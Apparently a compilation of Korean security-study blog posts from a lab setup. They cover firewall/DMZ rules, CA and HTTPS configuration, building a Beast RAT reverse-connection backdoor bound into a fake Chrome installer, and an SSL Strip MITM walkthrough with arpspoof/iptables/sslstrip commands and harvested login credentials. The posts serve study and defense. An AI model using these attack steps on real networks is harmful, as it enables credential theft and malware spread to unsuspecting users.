프로세스 목록을 출력하는 코드이다.




실행하면 프로세스 목록이 출력된다.

백도어 프로그램에 응용 가능하다.




파일을 생성하는 코드이다. 프로그램을 실행하면 

Success to Write File이 출력되고

Write Data! Write OK의 내용으로 write.txt파일이 생성된다




파일을 더블클릭하여 성공한것을 확인. write.txt가 생성되었다.





파일안에 내용이 잘 전달된것을 확인할 수 있다.

후에 백도어 프로그램에서 원하지않는 파일을 생성하게 만들 수 있다.


이번에는 DMZ설정을 한다. DMZ란 통상적으로 서버가 있는 영역을 말하는데, 서버들과 일반 PC를 같은 영역에 지정하면 방화벽 룰 설정이 어렵기 때문에 서버는 따로 나눠놓는다.




내부주소 (1.221.2.128)/25

DMZ주소(1.221.2.0)/25

DMZ주소에는 웹서버가 있다.(1,.221.2.3)

외부주소(그외) 로 구성했다.


설정할 방화벽 룰

 Internal->DMZ (웹서버와 SSH만 오픈)

Internal->Extarnal(모두 Open)

DMZ->Internal(모두 Deny)

DMZ->Extarnal(DNS만 허용 , 나머지 Deny)

External->Internal(모두 Deny)

External->DMZ(웹서비스만 허용)





Internal(1.221.2.128)영역에서는 DMZ영역이 1.221.2.0/25 이고 외부가 그외 모두 다이다.

내부에서 설정 할 방화벽 룰은  


Internal->DMZ (웹서버와 SSH만 오픈)

Internal->Extarnal(모두 Open) 



1.221.2.129:4444로 접속한다. 

관리자 계정을 생성한다.


먼저 FW2의 인터페이스부터 맞춰줘야 한다. 

내부 ip는 1.221.2.1이다. 게이트웨이는 지정하지 않아도 된다.



FW2의 외부 ip는 1.221.2.2이다. 

기본 게이트웨이는 다음 방화벽인 FW1의 1.221.2.1로 설정한다.



방화벽 룰을 설정한다. 

일단 처음에는 FW2_inside( 1.221.2.128/25)영역에서 모든 포트로 모든 목적지에 대해 모두 허용하는 룰을 추가한다.



그 다음 DMZ에 대해 접속을 허용하는 룰을 만들어야 하는데 우리가 추가할 룰은 

Internal->DMZ (웹서버와 SSH만 오픈)

이다. 방화벽 룰은 순서에 따라 영향을 받기 때문아 일단 모두 드롭하고 일부분만 허용하여 방화벽 룰 설정을 바꾸면 된다.


DMZ에 모든 영역을 막아버리면 FW1으로 가는 길목도 막히기 때문에 그 길목을 제외한 영역을

Range 모드로 한다.




이렇게 설정하면 FW2_inside에서 DMZ영역(FW1으로 가는 라인 제외은 제외)에 대해 모든 포트 접속이 차단된다.



가장 위로 올라간 것을 확인하고










FW2_inside에서 웹서버로 가는 HTTP/ HTTPS 포트를 허용한다.

웹서버에 대해서만 허용하기 때문에 여기서는 웹서버가 하나 있어서 그냥 지정해준다.

웹서버가 여러개 있으면 여러개 다 지정해도 되고, Range로 지정해줘도 된다. 



암시적으로 이번 룰은 설정을 해주지 않아도 된다. 이 룰은 밖에서 FW2_inside로 오는 모든 접속을 차단하는 룰이지만 이 룰을 쓰지 않아도 암시적으로 접속이 안된다. 하지만 확실히 하기위해 명시적으로 룰을 설정하여 준다.



FW2의 룰 순서와 룰의 모습이다. (4번 룰이 꺼져있지만 켜주도록 한다)

1.웹서버에 대해 inside에서 웹접속은 허용한다.

2.그 외 모든 접속( FW1로 가는 길목제외)는 차단한다.

3.inside에서 외부로 가는 모든 접속을 허용한다.

4.외부에서 inside로 오는 모든 접속을 차단한다.



다음은 FW1 입장에서의 모습이다.

자기 자신은 DMZ영역, 그리고 Internal, External이 존재한다.




https://1.221.2.1:4444로 접속한다.

관리자 계정을 만들고 접속한다.

FW1도 우선 인터페이스를 지정해주어야 한다.

FW1의 inside부분을 1.221.2.1 로 지정한다



FW1_Outside도 지정한다. 14.7.8.2/24 의 ip를 설정하고 기본 게이트웨이를 14.7.8.1로 설정한다.



외부에서 웹서버에 대해서 웹통신만 가능하게 한다.

출발지 ANY 서비스(포트)를 HTTP, HTTPS를 설정하고 목적지를 WebSVR로 지정해준다.



외부에서 내부를 목적지로 하는 모든 패킷을 차단한다.




DMZ에서 외부로 나가는 모든 패킷을 Drop한다.



DMZ에서 KT-DNS1로 가는 DNS를 허용한다.

사실상 내부 네트워크라 상관 없지만 내부에 DNS에 대해 허용할 때, 이런식으로 룰을 설정한다.


FW1의 룰 순서와 룰 설정이다.

1.DMZ영역에서 KT-DNS로 가는 룰을 허용한다.

2.그 외 DMZ영역에서 외부로 나가는 모든 접속을 허용하지 않는다.

3.외부에서 웹서버에 대한 웹통신을 허용한다.

4.외부에서 내부로 들어오려는 패킷을 차단한다. (FW2에도 있지만 2중으로 차단)


그다음으로는 외부에서 DMZ로 들어오는 접속을 차단하는 룰을 추가하면 좋겠다.

http://hsm-racoon.tistory.com/55?category=988566

http://hsm-racoon.tistory.com/56?category=988566


먼저 beast에 대해 포스팅을 한 적이 있다.

저번에 한 내용은 백도어 파일을 보내서 사용자가 실행을 시킨다. 공격자는 사용자의 ip를 이용하여 백도어 침투를 한다. 하지만 이 경우는 상대방 ip를 모르면 사용할 수 없다.


저번 포스팅에서는 외부-> 내부로 들어오는 모든것이 차단되어서 위와 같은 공격은 불가능하다.

하지만 이번 백도어는 사용자에게 파일을 심은 후, 그 파일이 실행되면 내부에서 몇 초 간격으로 공격자 pc에게 연결 요청을 보내는 공격이다. 이 공격 같은 경우에는 내부에서 먼저 연결을 요청하였기 때문에 방화벽이 필터를 하지 않는다는 점을 이용한 공격이다.


위와 같은 환경이다. PC1이 사용자 PC3가 (Beast 사용 해커) 이다.



먼저 백도어 프로그램을 만들어보자. Build Sever 버튼을 누르고 Reverse Connection 을 체크해준다.




Notilications 을 클릭하고 밑줄 친 부분에 공격자 ip를 넣자. (현재 화면으로는 자기 자신이다.)

그다움 Save Server을 클릭한다.




클릭하면 폴더안에 보이는것 처럼 server.exe라는 파일이 생성된다. 

이 파일을 Binder 할 것인데, 여기서 Binder는 저 서버파일을 다른파일과 엮어서 합치는 것이다.

지금 보이는 것은 크롬 설치파일과 Binder 하는 것이다.

이 방식은 지금으로 치면 구식 방식이지만 거의 백도어가 이런식으로 P2P사이트에 영화나 다른 프로그램으로 Binder되어 

유포된다. 게임 크랙을 뿌리거나 무료로 프로그램을 뿌린다면 그 파일을 의심해보자...


Add File을 하여 크롬셋업과 서버를 넣은뒤 Bind Files를 눌러준다.


그러면 CromeSetup이라는 파일이 생성되지만 저것은 아래에 server라는 백도어 프로그램과 같이 Bind 된 것이다.



만약 저 프로그램을 사용자 pc가 다운받았다고 하자. 실행을 하고 와이어샤크를 확인한다.

공격자 pc에서는 beast 메인화면에서 start Listening[SIN] 버튼을 눌러야 한다.



아래와 같이 방화벽이 있지만 내쪽에서 나가는 패킷에 대한 룰이 없으므로 연결이 성립된 것을 확인 할 수 있다.



공격자 PC는 사용자PC와 연결이 되어 백도어 공격을 할 수 있게 되었다.

이 처럼 들어오는 패킷만 무작정 막는다고 해킹 공격을 막을 수가 없으므로, 방화벽 룰을 꼼꼼하게 설정 할 필요가 있겠다.




저번과 다르게 내부네트워크로 바꾸고 

사용자 pc(1.221.2.2)

외부 접속자(61.74.39.2)

포트스캔 공격자(201.147.1.2)로 나누어서 설계하였다.



일단 기본적으로 방화벽로 라우터로 봐야하기 때문에 라우팅을 해주어야 한다.

14.7.7.0에 대한 정보는 14.7.8.1로 가면 있다. 라는 라우팅을 추가해준다.



이런식으로 다른것들도 static routing을 설정한다.

이게 귀찮다면 옆에 OSPF를 사용해도 무방하다.



방화벽 입구에 패킷캡쳐를 켜두자.



공격자 PC (201.147.1.2)로 방화벽 내부(1.221.2.0)에 nmap 포트스캔을 때려보자.

패킷 확인



아주 잘 스캔되는 모습이다.




외부사용자 (61.74.39.2)에서 내부사용자(1.221.2.2)에 ping을 보내도 방화벽에서 잘 통과되는 모습이다.



따라서 방화벽 정책을 설정한다. Any(모든) 출발지,Any(모든)포트에 1.221.2.0 네트워크안으로 들어오는 패킷을 Drop한다.

이렇게 되면 외부에서 1.221.2.0 네트워크안에 접속하는 모든것을 차단한다.




내부 사용자에 대한 룰은 없기 때문에 외부사용자(61.74.39.2)로는 ping이 나갈 수 있다.



하지만 외부 사용자가 내부 사용자에게 ping보낼때는 아까는 잘 보내졌지만 지금은 차단되었다.



패킷을 확인해보면 61.74.39.2에서 1.221.2.2 가는 핑이 차단됐다.

핑이 가려면 그 아래 패킷같은 구조여야 한다.



공격자PC에서도 포트스캔이 차단되고 있는 모습이다. 


하지만 이렇게 하면 문제가 있다. 내부에 웹서버를 두었지만 방화벽에 정책때문에 외부에서 접속을 할 수 없게 되버리면 이 웹서버는 의미가 없어진다.

61.74.39.2에서 1.221.2.3에 대한 연결을 열어주어야 한다.


지금은 딱히 출발 ip가 정해지지 않았으므로 

모든 ip에서 HTTP통신 (추가하면 HTTPS통신)을 1.221.2.3에 대해 열어주면 된다.



다음과 같이 룰을 설정하고 외부에서 접속하면



접속이 잘 되는 것을 확인 할 수 있다.



HTTP포트에 대한 연결만 허용했기 때문에 외부에서 웹서버에 ping을 보낼 수는 없다.


https://www.sophos.com/en-us/products/free-trials.aspx

이곳에서 다운받을 수 있다. 

네트워크를 구축할 때 방화벽은 꼭 필요한 요소이다. 직접 설치하고 GNS을 사용하면서 이해해보자.



192.168.2.10 (PC)에서 외부망 사이에 방화벽을 넣었다. 이 같은 경우 방화벽이 라우터 역할까지 해줘야 한다.

처음에 설치할 때 eth0를 내부로 연결해야 한다. 

VM 어댑터에서 네트워크 갯수를 2개로 늘려줘야 한다.




GNS로 들어가서 방화벽 설정에 네트워크를 2개로 해주자.



그다음 사용자 PC (192.168.2.10) 에서 eth0 주소와 포트번호 4444번으로 방화벽 설정화면으로 접속하자.

웹으로 접속하고 https://[방화벽 eth0 IP]:4444 이다

처음에 접속하면 아이디와 비밀번호를 설정할 수 있다. 설정을 하고 접속하자.



interfaces 항목으로 외부 네트워크를 다음과 같이 잡아준다.

이더넷 타입/ eth1 / ip를 외부로 잡아준다. 

여기서 게이트웨이는 실제로 나가는 게이트웨이 주소를 써줘야한다.



NAT설정으로 들어가서 NAT설정을 한다.

SNAT를 선택하고 all_pc는 198.168.2.0 이다. (내부 네트워크 영역)

gongin은 201.220.25.10 이다. 이것은 공인 ip이다.


이제 원하는대로 방화벽 룰을 추가하면 된다.

다음에는 좀 더 자세히 포스팅 하겠다.


저번 포스팅은 RootCA와 하위 CA를 연결하는 실습을 해보았다.

오늘은 WEB서버가 스스로 인증서를 만든 상황과 RootCA에 인증서 요청을 보내서 인증서를 받은 상황을 실습하여https 통신이 가능하게 만들어 볼 것이다.

ftp통신을 이용하여 인증서를 주고 받을 것이다. ftp통신도 실습한다.




Web Server

인증서를 사용하기 위해서는 웹서버에 openssl과 mod_ssl을 다운받아야한다.

저번 포스팅과 같이 인터넷에서 다운을 받지 않고 centos 시디자체에 있는 packages로 다운받자.

cdrom에 centos 설치 cd를 넣고 저번에 만든 /media/abc 폴더에 마운트하자

mount /dev/cdrom /media/abc

마운트가 잘 됐는지 확인하려면 df -h를 해보면 된다.

rpm -qa openssl 명령어로 openssl이 깔려있는지 확인 할 수 있다. centos6.4버전 이상은 기본으로 깔려있다고 함

그다음은 modssl을 다운받아야한다.



rpm -ivh mod_ssl-2[tap][tap] 을 하여 다운받자.



그 다음은 csr을 생성하는 방법이다. 

csr은 Certificate Signing Request의 약자로 개인키 생성 및 인증요청서이다.

나중에 루트에 보내서 인증서를 받아오는 목적이다. 만들어보자.


먼저 packages 폴더에서 빠져나오자.

cd /

openssl req -nodes -newkey rsa:2048 -keyout web.key -out web.csr

win2012로 된 RootCA는 클릭 몇번으로 되었지만 리눅스는 위와 같은 명령어를 사용한다

RSA:2048은 암호화 종류이다. 

명령어를 입력하면 나라,지역,도시,회사이름, 회사유닛이름,도메인이름, 이메일주소 를 입력하라고 나온다.

입력하자.

이 명령어로 web.key와 web.csr이 생성된다.



그 다음은 개인 인증서를 생성하는 것이다. 방금만든 csr를 이용하여 내가 스스로 인증서를 만들어주는 것이다.

openssl x509 -req -days 365 -in web.csr -signkey web.key -out web.crt

1년 유효기간에 web.csr 와 web.key를 이용하여 web.crt를 만드는 명령어이다.


원래는 이 인증서와 키들을 잘 보관해야 한다. 지금은 바로 / 디렉토리에 방치된 상태이다.

따라서 원래는 옮겨줘야 하지만 다른곳에 보관한다.


cp web.csr /etc/pki/tls/certs/web.csr

cp web.key /etc/pki/tls/certs/web.key

cp web.crt /etc/pki/tls/private/web.crt


꼭 저 폴더가 아니여도 다른곳에 보관해도 된다.



SSL 통신을위해 설정을 해주어야 한다.

vi /etc/httpd/conf.d/ssl.conf에 들어간다.



vi편집기이다. esc를 눌러주고 /SSLCertificateFile 을 타이핑 하면 해당 문자가 있는곳을 찾아준다.

아까 crt와 key file의 위치를 입력해주자.


HTTPS통신을위해도 설정이 필요하다.

vi /etc/httpd/conf/httpd.conf 로 들어간다.



따로 설정이 되어있지 않는 상태라서 esc를 누르고 :9999 하면 9999번째 줄로 이동한다.

사실상 맨 마지막 줄이다. 마지막줄에 네모박스 안에있는 것을 타이핑하자.


NameVirtualHost *:443

<VirtualHost *:443>

SSLEngine on

SSLCertificateFile /etc/pki/tls/private/web.crt

SSLCertificateKeyFile /etc/pki/tls/certs/web.key

ServerAdmin [어드민서버]

DocumentRoot /var/www/html

ServerName [서버이름]

ErrorLog logs/ssl_error_log

CustomLog logs/ssl_access_log common

</VirtualHost>


esc를 누르고 :wq! 입력 후 빠져나오자.



service httpd restart로 한번 다시 시작하자. 맨아래에 OK가 아닌 FALED가 나올경 우 인증서의 저장 위치가 맞는지 다시한번 확인하자. 이제 사용자pc에서 웹서버에 한번 접속해보자.



사용자PC

처음에 (1)번 포스팅에서는 그냥 들어가졌는데 이제 보안 인증서문제가 있다는 글이 뜬다.

저번에 올린 글처럼 인증서를 조작하여서 정보를 빼는 해킹이 요즘에는 기본적으로 보안이 되어있다.

일단 우리는 그냥 진행한다.




인증서가 유효하지 않음. 이 뜨고 인증서를 보면 발급자가 나인것을 알 수 있다.

이런식으로 개인이 인증서를 혼자 서명하고 발급할 수 있다.

이번에는 RootCA에 나의 인증서를 보내서 서명을 해주는 것을 해보자.




Web Server

일단 인증서를 밖으로 빼기위해서 ftp 서버를 이용해보자.

useradd ftpman

passwd ftpman

ftp를 접속하기 위한 사용자를 한명 생성한다.

setenforce 0 을 하여 Permissive 상태를 만들고

service vsftpd start를 하여 ftp 포트를 열어주자



csr (요청인증서)를 RootCA로 보내기위해서 방금 만든 유저의 폴더로 보내주자

cp web.csr /home/ftpman


사용자pc

사용자 pc로 이동하여 c드라이브에 ftpdir이라는 폴더를 생성해주자

cd명령어를 이용하여 ftpdir에 들어간 상태에서 ftp연결을 한다.

ftp [웹서버의 ip]

사용자에는 방금만든 ftpman 을 입력하고 비밀번호를 입력하면 접속이 된다.

ls를 하면 web.csr이 있는것을 확인할 수 있다.

get web.csr로 해당파일을 가져온다.




FTPdir에 web.csr이 get 된 것을 확인할 수 있다.



그 다음에 이 csr 파일을  RootCA에 인증을 하기위해 http://[ROOTCA의 IP]/certsrv 에 웹으로 접속한다.

밑줄 클릭



CA와 RootCA을 연결할 때도 이렇게 하였다. 밑줄을 클릭하자.



똑같다.



그 다음 아까 받은 파일을 워드패드로 열어서 암호화된 내용을 넣고 제출한다.




RootCA

rootCA에서 (1)포스팅과 똑같이 발급을 해준다.



사용자pc

방금보낸 요청이 발급이 되었으므로 요청한 인증서를 확인한다.



체인으로 말고 그냥 인증서로 다운로드 받는다. 클릭



FTPdir에다가 다운로드 해주자.



다시 FTPdir에서 ftp[웹서버 ip]로 ftp에 접속한다.

!dir을 하면 현재 FTPdir에 certnew.cer가 있는것을 확인 할 수 있다.

이것을 put certnew.cer 로 웹서버로 보내준다.



WebServer

웹서버로 돌아와서 cd /home/ftpman 

ls를 하면 방금 보낸 certnew.cer이 있는것을 확인 할 수 있다.

cp certnew.cer /etc/pki/tls/private/web.crt

기존에 있던 web.crt를 바꿔주자.


사용자PC

다시 접속해보면

'이 웹 사이트에서 제시한 보안 인증서는 다른 웹 사이트 주소에 대해 발급되었습니다.' 라는 것이 뜬다.

내가만든 RootCA에서 발급해줬기 때문이다. 이 처럼 세계에서 허가된 CA에서 인증서를 받아오면

보안 인증서 문제가 없이 https로 통신이 가능하다.



발급자를 보면  ROOTCA로 된 것을 확인할 수 있다.

이로써 https와 SSL통신에 대해 포스팅을 마무리 한다.



이번에 포스팅할 내용은 웹 인증서를 인증해주는 기관인 Root CA와 하위 CA 서버를 하나 두고 웹서버를 가동한다.

Root CA가 인증한 인증서를 기반으로 안전한 웹 서버라는 것을 인증한다.

물론 GNS3상에서 하는 것이라 Root CA와 하위 CA도 내가 만들고 내가 서명하고 혼자 다한다.


이번 실습을 통해 CA와 웹 서버, 인증서에 대해 이해해보도록 하자.




실습 환경이다. GNS3로 사용자pc와 RootCA서버, CA서버, 웹서버를 간단히 연결한다.

사용자pc는 win7, RootCA와 CA는 winserver2012 , 웹서버는 centos6.5를 사용한다.




WebServer

먼저 웹서버이다. 웹서버를 열기 위해서는 필요요소를 다운로드 해야하는데 Centos를 깐 CD안에 기본적으로 찾을 수 있어서 네트워크를 따로 연결하지 않아도 다운로드가 가능하다.

머신-설정-저장소 로 들어가서 시디를 넣어주자 (Virtual BOX 기준)




루트 폴더로 가자. 

mkdir abc 로 abc 폴더를 하나 생성하자.

리눅스에서 cd를 사용하려면 마운트를 해줘야 한다.

mount /dev/cdrom /media/abc 는 cdrom에 있는 것을 media/abc로 마운트를 해주는 명령어이다.



후에 인증서를 교환할때 ftp 서버를 이용해야 할 일이 있으므로 미리 다운받아 놓자.

rpm -ivh vsftpd-[tap][tap]

탭을 이용하면 자동완성이 가능하다.



그다음 이제 웹서버를 php로 돌리기위해서 php를 다운하자

rpm -ivh php-5.3.3[tap][tap]

그러면 아래와 같이 의존성 에러가 뜬다.

의존성 에러는 쉽게 이것을 설치하기 위해 미리 선행으로 설치되어야 하는 파일을 의미한다.

php-cli을 다운받아 보자.



rpm -ivh php-cli-5.3[tap][tap]

을 하였더니 아래에 또 의존성에러로 php-common을 다운받으라고 한다.

php-common을 다운받자.

rpm -ivh php-common-5.3.3[tap][tap]

다운로드가 완료되면 다시 php-cli을 다운받자.

rpm -ivh php-cli-5.3[tap][tap]



모두 다운이 끝나면 이제 다시 rpm -ivh php-5.3.3[tap][tap] 을 하여서 php를 다운받자.



다운이 끝나면 

service httpd start 로 서버를 시작하자.

chkconfig httpd on  으로 매번 서버를 킬때 자동으로 서비스가 실행되게 한다.

service iptables off 로 방화벽을 꺼준다.

chkconfig iptables off 로 서버를 킬때 자동으로 방화벽이 꺼지게 한다.

setenforce 0 으로 모두 접근 가능하게 바꿔주자.





그다음 cd /var/www/html로 들어가자.



들어가서 vi index.html 명령어를 입력하여 다음과같이 간단한 html파일을 만들어보자.



사용자 pc로 가서 웹서버인 

http://113.80.10.200 에 접속을하면 방금 만든 html이 열린것을 확인 할 수 있다.

웹서버가 정상 가동되는 것을 확인했다. 

이제 다음은 내가만든 Root CA에서 안전한 사이트라는 것을 인증하기 위한 인증기관을 만들어보자.



RootCA

먼저 제어판 -시스템 및 보안- 시스템 에 가서

설정변경을 클릭한다.




변경 버튼을 클릭하여 컴퓨터의 이름을 바꿔주자.





RootCA로 이름을 바꾸고 확인을 눌러주자.




서버관리자를 들어가서 역할 및 기능 추가

 버튼을 누르자.



여기서 새로운 서버역할을 추가할 수 있다. 다음을 눌러주자.



음~ 다음




다음~




서버 역할에서 

Activer Directory Certificate Services 를 체크하여 구성 추가 해주자.



다음을 눌러주자. 넘어간다.




다음을 눌러주자~




Certification Authority Web Enrollment 를 체크해주고 다음을 눌러주자.

이것은 인증을 웹으로 할 수 있는 기능이다.

다음을 누르다보면 설치를 할 것이다. 설치가 끝이나면 아무것도! 만지지 말길!



설치가 끝난 화면이다. 

네모 친 '대상 서버에서 Active Directory 인증서 서비스 구성' 을 클릭해주자




다음을 누른다.



인증 기관 / 인증 기간 웹 등록 을 체크하고 다음을 눌러주자.




독립 CA를 체크하고 다음을 눌른다.



Root CA이므로 루트CA에 체크하고 다음을 눌러주자.




새 개인 키 만들기를 체크하고 다음을 누른다.



암호화 옵션을 지정하는 화면인데 그냥 기본인 SHA256 방식 / 키길이 2048로 하자.

사실 뭘해도 상관 없다. SHA뒤에 숫자와 키길이가 늘어날수록 암호를 뚫기 더 어려운 인증서가 된다.



CA의 이름을 정해주는 화면이다. 다음을 눌러주자.



인증서를 한번 받고 몇 년간 사용 가능하게 할지 결정하는 화면이다. 

기본 5년으로 하고 다음을 누른다.



인증서 위치를 설정한다. 

C\Windows\system32\CertLog 에 생기는 것을 알아두자.

다음을 누른다. 그러면 이제 인증서가 완료된다.

다음은 하위 CA로 가보자.



CA


Root CA와 설치 과정은 똑같다. 다만 CA종류를 하위 CA로 해주자.

다음을 눌러주고 설치를 마친다.



이제 인터넷익스플로러를 키고

http://113.80.10.100/certsrv 로 접속하자.

(처음에 위험한 사이트라고 경고를 보여주고 허용하라는 메세지가 뜨면 

허용을 해주면 된다.)


이것은 RootCA에서 아까 선택한 인증서 웹등록 서비스에 접속하는 것이다.

다음과 같은 화면이 나온다. Request a certificate를 클릭하자.


-위 화면이 접속안되는 이유는 여러 가지가 있다.

1.RootCA서버에 방화벽이 켜져있다.

2.CA서버에 방화벽이 켜져있다.

3.만약 Virtual BOX에서 RootCA를 복사해서 사용한 경우 MAC주소가 겹쳐서 통신이 안될 수가 있다.

1,2번에 경우 방화벽을 꺼주도록 하고

3번에 경우에는 CA나 ROOTCA중 하나를 종료하고 VirtualBOX에서 맥주소를 다시 설정해주자.




맨 아래에 advanced certificate request를 클릭한다.



맨아래에 base-64-encoded를 사용한 CMC or PKCS ~~ 를 클릭해주자.



그럼 왼쪽과 같은 화면이 뜬다. 처음에 CA에 인증서 서버를 추가했을 때 생성되는 파일이 있는데,

컴퓨터-C드라이브 안에 들어가면 오른쪽과 같은 .req 가 생성된 것을 볼 수 있다.

이것을 오른쪽 클릭-연결프로그램-워드패드 로 열어주자.



암호화된 내용이 보인다. 이것을 통째로 긁어서 왼쪽에 TextArea에 넣어주자. 

그리고 Submit 을 클릭한다.



위와 같은 화면이 나오고 인증서 요청을 보냈다. 이제 RootCA로 가서 인증서를 발급해주어야 한다.



RootCA

서버관리자에서 왼쪽 탭 -AD CS를 클릭한다.

ROOTCA를 오른쪽 클릭하여 Certification Authority를 클릭한다.



왼쪽 탭에서 보류 중인 요청에 들어가면 방금 보낸 요청을 볼 수 있다.

오른쪽 클릭하여 발급을 클릭한다.



CA

다시 CA로 돌아와서 RootCA의 certsrv로 다시 들어가서 (웹으로 접속)

View the status of a pending certificate request를 클릭한다.



그러면 요청이 허가된 것을 확인할 수 있다. 클릭한다.



인증서를 다운받을 수 있고, 인증서 체인을 받을 수 있다.

인증서 체인을 다운받자

Download certificate chain 클릭



CA의 서버관리자-AD CS탭에 들어가면 CA가 시작이 안된 것을 볼 수 있다.

오른쪽 클릭하여 서비스 시작을 한다.



그러면 인증서를 달라고 하는데 아까 다운받은 인증서 체인을 넣어준다.



다음과 같이 오류가 발생하는데 당황하지말고 확인을 눌러준다.



윈도우키 +R을 누르고 CMD를 입력하여 도스창을 키자.

다음과 같은 명령어를 입력하자.

certutil –setreg ca\CRLFlags +CRLF_REVCHECK_IGNORE_OFFLINE

입력하면 이제 오류창이 뜨지 않게 설정이 된 것이다. (안되면 오타, 띄어쓰기,대문자 확인)


다시 들어가서 인증서를 넣어주면 다음과 같은 화면이다.

확인을 눌러주면 초록불이 들어온다.

이제 RootCA의 하위CA로 등록이 된 것이다.


다음 포스팅은 이제 웹서버에서 인증서를 만들어 다음과 같이 RootCA에게 발급받고

인증서가 있는 웹 서버로 만들어 보도록 하겠다.



SSL Strip 공격을 실습해보자.

MITM 공격은 사용자가 위조된 인증서를 받아들여야 통신이 가능하여 어느정도 눈치를 챌 수 있지만 SSL Strip

 공격은 눈치채기가 어렵다. 




실습환경은 위와 같다. 오류가 자꾸 나서 ip를 바꿨다. 

희생자 pc는 1.221.80.5 이고

공격자 pc는 1.221.80.3 으로 하였다.



일단 SSL Strip을 하기전에 희생자 pc에 대해 arpspoof 공격을 하자. 터미널 2개를 키면 귀찮으니까 간단히 

attack.sh 라는 파일을 vi편집기로 열어 위와 같은 명령어를 넣어주자

arpspoof -i eth0 -t [희생자 ip] [게이트웨이 주소]

arpspoof -i eth0 -t [게이트웨이 주소] [희생자 ip]


그다음 실행은 

. ./attack.sh

로 실행해주면 된다.

게이트웨이와 사용자 pc간에 통로를 이제 훔쳐볼 수 있게 되었다.





희생자 pc에 들어가서 cmd 창에 arp -a 명령어를 입력하여 정상적으로 spoof가 되었는지 확인한다.

게이트웨이 주소 [1.221.80.1]과 공격자 pc [1.221.80.3]의 mac주소가 같은 것으로 보아 arp 테이블이 조작 되었다는걸 확인 할 수 있다.




위에 명령어는 iptables를 이용하여 http요청 패킷을 sslstrip 로 8080포트로 리디렉션 하는 것이다.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

그리고 NAT설정이 제대로 되었는지 확인하여 준다

iptables -L -t nat

밑줄친 부분이 위와 같은 설정이 되었다면 정상적으로 설정이 된 것이다.




다음은 IP Forwarding 기능을 활성화 하는 명령어이다.

echo 1 > /proc/sys/net/ipv4/ip_forward

그리고 다음 명령어로 ipv4 forward가 1로 활성화 되었는지 확인한다. (1- 활성화, 0-비활성화)

sysctl -a | grep ip_forward




sslstrip을 실행시켜보자

cd /usr/share/sslstrip 명령어를 입력하여 해당 폴더로 들어간다.

python sslstrop.py -l 8080 명령어로 8080번 port를 오픈하자.





netstat -an | grep 8080 명령어로 정상적으로 포트 오픈 상태를 확인하자.

위와 같이 tcp와 listen 이 나오면 정상적으로 오픈 되었다.

이제 희생자 컴퓨터가 웹사이트에 접속하길 기다리자. 




희생자 pc에서 웹사이트를 접속하려고 실습을 하려할때 자주 오류가나는 2가지를 설명하려 한다.

1. 주소가 잘못되었습니다.

-희생자 pc에서 dns서버의 주소를 적어주지 않아서 발생하는 문제이다. 

인터넷 설정에 가서 dns서버에 skt이든 kt이든 아무 dns 주소를 넣어주도록 하자.





2.주소가 잘못되었습니다. 가 없어졌지만 흰색 바탕에 7시부분에 완료 라고 뜨는경우

-이와 같은경우는 spoof하는 kali (공격자pc)가 도메인주소를 못찾아서 일어나는 경우다.

이와 같은 경우는 공격자 pc에 도메인 주소를 넣어주도록 하자.


 kali로 가서

echo nameserver 210.220.163.82 > /etc/resolv.conf 를 입력하면 재접속 없이 바로 dns가 적용된다.




일반적으로 들어갈때는 https 창으로 들어가게 된다. (밑줄 확인)





하지만 ssl strip 공격을 실행하면 https에서 보안에 문제가있는 http에 접속을 시킨다.

이 상황에서 로그인을 하면 id와 password가 모두 암호화작업을 거치지 않는다.





아무거나 누르고 접속을 해보자. 편의상 아무거나 했지만. 공격을 당할때 로그인이 성공하든 실패하든 로그인 버튼을 누를때 넘어가는 모든 정보들은 해커가 해킹을 할 수 있다.





사용자가 정보를 넘기면 ssl strip이 반응을 한다. 정보를 캐서

vi /usr/share/sslstrip/sslstrip.log 명령어를 입력하여 로그를 살펴보면 다음과 같이 나온다.



logins.daum.net에서 18년 2월 23일에서 

ID: racoongod

PW:racoongod123123123 

이라고 타이핑 한 것을 훔칠 수 있었다.




저번 포스트에서 해킹당하는 것을 확인해 봤는데, 어떻게 이런 해킹이 이루어지는지 확인하고 분석 할 필요가 있다. 이미 Beast는 너무 유명한 일반적인 프로그램이라 뭘 하기에는 힘들고. 그냥 공부 용도로 사용 하자.

공부용도로 사용을 하려면 분석하는게 좋다. 






GNS3의 네트워크 환경은 이렇다.

먼저 win7-1 (1.221.80.14)가 피해자 PC이고

win7_2-1(1.221.80.13)이 공격자 PC이다. 어떻게 공격하는지는 저번 포스팅에 나와있으니 확인 바란다.

일단 기본적으로 해킹에 대한 모든 정보는 네트워크로 지나갈 것이고 이것을 패킷을 통해 확인 할 수 있다.

희생자 PC와 공격자 PC 사이에 아무런 선에 오른쪽 클릭을 하여 와이어 샤크를 확인해보자. 

캡쳐를 시작하고 Beast를 연결하면 다음과 같은 패킷이 검출된다.






희생자 PC에서 공격자 PC로 많은 연결 (아직 끊어지지 않았다)이 성립된 것을 볼 수 있다.

말그대로 이 공격은 희생자 PC를 감염시켜서 의도적으로 포트를 연 뒤에, 그 공간으로 침입하여 공격하는

백도어 공격이라고 할 수 있다. 지금도 내가 글 쓰는 이 순간에도 내가 감염됬다면 해커는 내가 글을 쓰는것을 볼수 있다. 심지어 키로거도 다 떠서 어떤 사이트에 어떤 아이디와 비밀번호로 접속하는지도 모두 해킹 당할 수 있다.

그렇다면 해커가 아무런 공격을 하지 않았을때 나는 어떻게 공격당했는지를 확인 할 수 있는가?











당연히 백도어 공격이므로 해커를 위한 포트가 열렸을 것이다. 이것을 확인하기 위해서는

CMD 창을 열고 netstat -an 을 입력해보자.


그러면 위와 같이 1.221.80.13:139 /6667 / 6669/ 6671/ 6672가 

외부주소 1.221.80.14로 열려있고 아직 연결이 끊기지 않은 상태인걸 볼 수 있다. 

이 처럼 아무런 설정없이 바로 감염시키면 자신의 IP가 노출되어 잡힐 수 있다.

실제로 이 방법을 해킹에 사용한다면 저기에 찍히는 IP로 잡힐 수 있다는 것이다. 

이렇게 연결된 포트에 대해서도 확인이 가능하고 프로세스로 확인하는 방법도 있다.






ctrl+art+delete를 누르면 나오는 작업관리자에서 프로세스를 확인하면 이상한 점을 발견할 수 있다

svchost.exe 는 연결된 호스트에 대해 나타나는데 사용자 이름이 j라고 나와있다. 

j는 실제로 해커pc의 사용자 이름이다. 희생자의 PC에 프로세스를 심어서 사용자 몰래 실행되는 것이다.

이 처럼 백도어 공격은 이러한 방식으로 진행이 된다. 

현재는 특별한 추가 기술이 없으면 백신으로 쉽게 발견이 된다.


+ Recent posts